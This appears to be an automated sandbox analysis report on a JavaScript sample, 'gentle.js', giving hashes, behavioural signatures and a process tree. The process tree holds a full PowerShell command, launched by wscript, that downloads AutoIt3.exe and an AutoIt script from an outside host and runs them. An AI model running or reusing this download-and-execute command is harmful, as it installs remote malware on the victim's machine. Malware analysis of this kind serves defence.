Analysis
-
max time kernel
343s -
max time network
319s -
platform
windows7_x64 -
resource
win7-20231023-en -
resource tags
arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system -
submitted
02-11-2023 15:23
Static task
static1
Behavioral task
behavioral1
Sample
gentle.js
Resource
win7-20231023-en
windows7-x64
7 signatures
1200 seconds
Behavioral task
behavioral2
Sample
gentle.js
Resource
win10v2004-20231020-en
windows10-2004-x64
16 signatures
1200 seconds
General
-
Target
gentle.js
-
Size
135KB
-
MD5
ffa38ff8c434945de11b621958170a10
-
SHA1
6429a10526d4224e5a9d5e4ab9f71cfa3a1bd460
-
SHA256
4dce8991fb2942cb8443aba697311072aa25fc61b4b4186a54e7956c2bec6799
-
SHA512
f4f5fcde08d4ab8d167071ba9eed55cb4d575251da66fcd8005a85970f26e07be31a6f65a42ff47ee238e498f66fef625c97eabe0c87eee3f18ae1d3f98d022a
-
SSDEEP
1536:BZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0c:0T9U7hgaX6eerjqlI2IO6Mzqfpu
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1272 powershell.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2480 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 1272 powershell.exe Token: SeDebugPrivilege 2480 taskmgr.exe Token: 33 1644 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 1644 AUDIODG.EXE Token: 33 1644 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 1644 AUDIODG.EXE -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe 2480 taskmgr.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2104 wrote to memory of 1272 2104 wscript.exe 27 PID 2104 wrote to memory of 1272 2104 wscript.exe 27 PID 2104 wrote to memory of 1272 2104 wscript.exe 27
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\gentle.js1⤵
- Suspicious use of WriteProcessMemory
PID:2104 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351/msikrxeiths' -OutFile 'krxeiths.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'krxeiths.au3'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1272
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2480
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"1⤵PID:2788
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x4441⤵
- Suspicious use of AdjustPrivilegeToken
PID:1644